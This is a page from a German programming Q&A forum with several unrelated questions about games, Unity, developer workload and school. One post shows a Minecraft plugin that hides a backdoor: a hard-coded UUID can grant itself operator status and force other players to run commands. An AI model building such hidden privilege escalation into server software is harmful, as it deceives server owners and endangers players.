Programmieren – die neusten Beiträge

Warum gibt es kein Super Mario Spiel mit Zufällig Generierte Level?

Hallo.

Also der selbe Jump and Run Level wird einestages langweilig, und das schlimme ist: Wenn man es mehr mals spielt, weißt man welche Strecke auf mich zu kommt. Und das ist so unrealistisch. Denn wenn ein Mensch Abenteuer reise machen muss, und man denn weg nicht kennt dann weißt man auch nicht welches Strecke erwarten wird. Und genau bei diese spiel ist es wichtig: Du darfs diese Strecke nie kennen.

Und deshalb müssen Levels bei Super Mario Zufällig Generiert. Doch die frage ist: Warum schafft Nintendo sowas gar nicht. Jetzt würde jeder sagen: "Zufällige Jump and run Level Generator ist nicht möglich". Nein das ist komplett falsch! Denn ich selber habe mit Game Maker Studio 2 hinbekommen ein Zufällige Jump and Run Generator zu erstellen.

Und das sind die ergebniss:

Und ich schwöre es: Diese Level habe ich nicht selber mit der Hand gemacht, sondern Ich habe das ganze nur im Code Geschrieben wie er generieren soll, und was er alles beachten muss damit man Levels immer schaffen kann (z. B. der Loch darf nur Maximal 3 Blöcke Lang werden). Und dann hat das ganze der Zufallsgenerator selber eingebaut.

Klar die Stacheln sehen noch nicht perfekt aus, da muss ich noch schauen wie ich das besser machen kann.

Deshalb ist die frage: Warum kann Nintendo z. B. auch nich sowas machen? Das wäre so genial New Super Mario Bros mit Zufällig Generierte Level für unendlich lange Spielspaß.

Bild zum Beitrag
Spiele, PC, Computer, Games, Nintendo, programmieren, Rechner, Mario, Super Mario, entwickeln, zufallsgenerator

Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin

Wollt ihr für immer Programmierer bleiben?

Ich bin Programmierer und bin extrem erschöpft von der Arbeit. Ich gebe zu ich bin nicht der beste Programmierer. An sich macht es mir Spaß zu programmieren, aber die Anwendungen werden immer riesiger, komplexer und haben immer mehr Fehler.

Dadurch ist man durchgehend in der Arbeit mit extrem komplizierten Aufgaben beschäftigt. Ich blicke teilweise nicht mehr durch und meine Kollegen auch nicht. Aber die nehmen es mit Humor und meinen, dass wir ja gutes Geld verdienen und einen sicheren Job haben.

Wir machen nur Überstunden und lernen ständig privat neue frameworks, Programmiersprachen und irgendeinen anderen Unsinn, der wichtig ist für neue Projekte. Mich persönlich macht das soooo müde nach der Arbeit.

Seit neuestem benutzen wir GitHub-Copilot und ich hatte mir erhofft, dass wir dadurch produktiver werden. Mich hat es vllt zu 10% produktiver gemacht. Unser Abteilungsleiter, der wirklich keine Ahnung von Programmieren hat, erwartet jetzt viel mehr von uns, da er meinte, dass Copilot doch 40% des Code schreibt. Der Typ versteht einfach NICHT wie programmieren funktioniert. Wir arbeiten jetzt noch mehr als vorher. Ich könnte heulen!!!!

Ich habe die Sorge, dass die Anwendungen in der Zukunft sogar noch komplizierter werden und ich irgendwann mal nur noch Überstunden mache. Ich habe gehört, dass KI-Entwicklung immer leichter werden soll, wodurch das ein Grundskill für uns Programmierer in der Zukunft sein wird. Man ich habe kein Bock das auch noch zu lernen... Wir lernen, lernen und lernen... Das hört einfach nicht auf!

Also wie ergeht es euch auf der Arbeit. Könnt ihr euch vorstellen das für immer zu machen?

Arbeit, Beruf, Studium, Mathematik, Job, programmieren, Informatik, künstliche Intelligenz, Programmiersprache, Softwareentwicklung, Student, Universität

Kamera Movement in Unity?

Hallo,

ich bin relativ neu in Unity und bin gerade dabei, eine Szene zu erstellen, wobei man die Kamera, wenn man die rechte Maustaste gedrückt hält, verschieben kann.

Die Szene ist isotropisch, weshalb die Kamera auch orthographisch ist.

[SerializeField] private Camera cam;
private Vector3 dragOrigin = Vector3.zero;
public float speed = 10;
    
void Update(){
    if(Input.GetMouseButtonDown(1)){
        dragOrigin = cam.ScreenToWorldPoint(Input.mousePosition);
    }
    if(Input.GetMouseButton(1)){
        Vector3 difference = cam.ScreenToWorldPoint(Input.mousePosition) - cam.transform.position;
        Vector3 targetPosition = dragOrigin - difference;
            
        cam.transform.position = Vector3.Lerp(cam.transform.position, targetPosition, speed * Time.deltaTime);
    }
}

Das funktioniert eigentlich auch, nur gibt es das Problem, dass sich der y-Wert der Kamera auch ändert. Die sollte immer auf dem gleichen y-Wert bleiben.

Wenn ich

targetPosition.y = cam.transform.position.y;

schreibe, bleibt zwar die Kamera auf der gleichen y-Position, aber die Kamera verschiebt sich nach oben und unten langsamer.

Wie kann ich den Code umschreiben, dass sich bei der Kamera nur die x-/ und z-Position ändert und das Verschieben in allen Richtungen gleich schnell geht?

Danke im Voraus.

Software, Kamera, programmieren, C Sharp, Visual Studio, Unity, Game-Developement

HTL TGM verlassen?

Also ich hätte da eine ganz wichtige Frage. Ich besuche derzeit die HTL TGM in Wien, anscheinend die schwierigste HTL die existiert, und wäre jetzt in der 3. Klasse gewesen.

In der 1. Klasse habe ich schon bemerkt, dass ich eigentlich am falschen Ort bin aber ich wollte einfach unbedingt den Abschluss von dieser Schule, weil dieser Abschluss sehr wertvoll ist und ich wusste auch, dass das ein schwieriger Weg wäre.

In der Unterstufe war ich zwar der Top-Schüler mit 1er Notendurchschnitt aber das heißt absolut gar nichts und garantiert keinem, dass man diese Schule schaffen kann.

Nun zum eigentlichen Thema. Mein Hauptzweig ist IT und ich habe mir schon immer schwer getan im Fach Softwareentwicklung, also beim Programmieren. In der 1. Klasse haben ich und meine Freunde alle diese Klausel verwendet, also dass man aufsteigen darf mit einer 5. (Sozusagen ein Joker, den man nur ein mal in einem Fach in den 5 Jahren verwenden darf)

Ein Freund aus meiner Unterstufe ist aufs Gymnasium schon nach der 1. Klasse gegangen. Tja ich dachte, dass ich trotzdem die 2. Klasse schaffen könnte und bin geblieben. Dann kam noch die Corona-Pandemie, was mir einfach die Motivation und alles andere genommen hat um irgendeine Aufgabe in dem Fach zu machen. Ich habe mich eher auf die anderen Fächer konzentriert. Am Ende der 2. Klasse war ich positiv und auch wirklich gut in allen anderen Fächern außer Programmieren, genauso wie 5 andere Freunde aus meiner Klasse. Wir haben uns alle entschieden die Klasse einfach zu wiederholen, da wir "eh" alles vom letzten Jahr haben und nicht die Prüfung geschafft haben. Allerdings gibt es am TGM 2 Arten von Klassen. Einmal die normalen Klassen wie man sie kennt "Frontalklassen" und einmal Klassen die sich "Lernbüro" nennen. Nicht nur dass das ein komplett anderes Prinzip ist sondern du musst da alles selbst Lernen ohne Lehrer. Ich habe mir mehr schwer getan in allen Fächern als zuvor und wurde wieder negativ in dem Fach Programmieren.

Genauso auch meine 5 Freunde. Heute hatte ich nochmal die Jahresprüfung und habe es wieder nicht geschafft, obwohl ich dieses mal ziemlich viel gelernt habe und nicht einmal das hat gereicht. Alle Freunde haben sich eine Lehre gesucht oder machen derzeit nichts. Ich hatte immer noch das Ziel diese Schule zu schaffen. Jetzt habe ich die Hoffnung aufgegeben und denke mir dass ich lieber was Anderes suchen sollte ich hab es nämlich satt so verarscht zu werden von dieser Schule.

Ich stelle jetzt meine Frage an euch als erstes damit ich es nicht später machen muss. Welche Optionen stehen mir zur Verfügung in Wien? Ich möchte nicht nochmal die 2. Klasse an irgendeiner anderen Schule machen oder so, sondern lieber gleich in die 3. Klasse. Oder welche Lehren gibt es die ich machen könnte mit meiner 3-jährigen IT-Erfahrung? Gibt es vielleicht andere HTL's mit anderen Zweigen, die besser sind? Am meisten interessiere ich mich für grafisches Design und so.

Danke!

Lehre suchen 100%
Das 2. Jahr trotzdem wiederholen zum 3. mal! 0%
Den Zweig wechseln an der selben Schule 0%
Anderen Zweig an anderer Schule 0%
Gymnasium 0%
Sonstiges (USA) 0%
Schule, programmieren, Noten, Schulwechsel, HTL

Meistgelesene Beiträge zum Thema Programmieren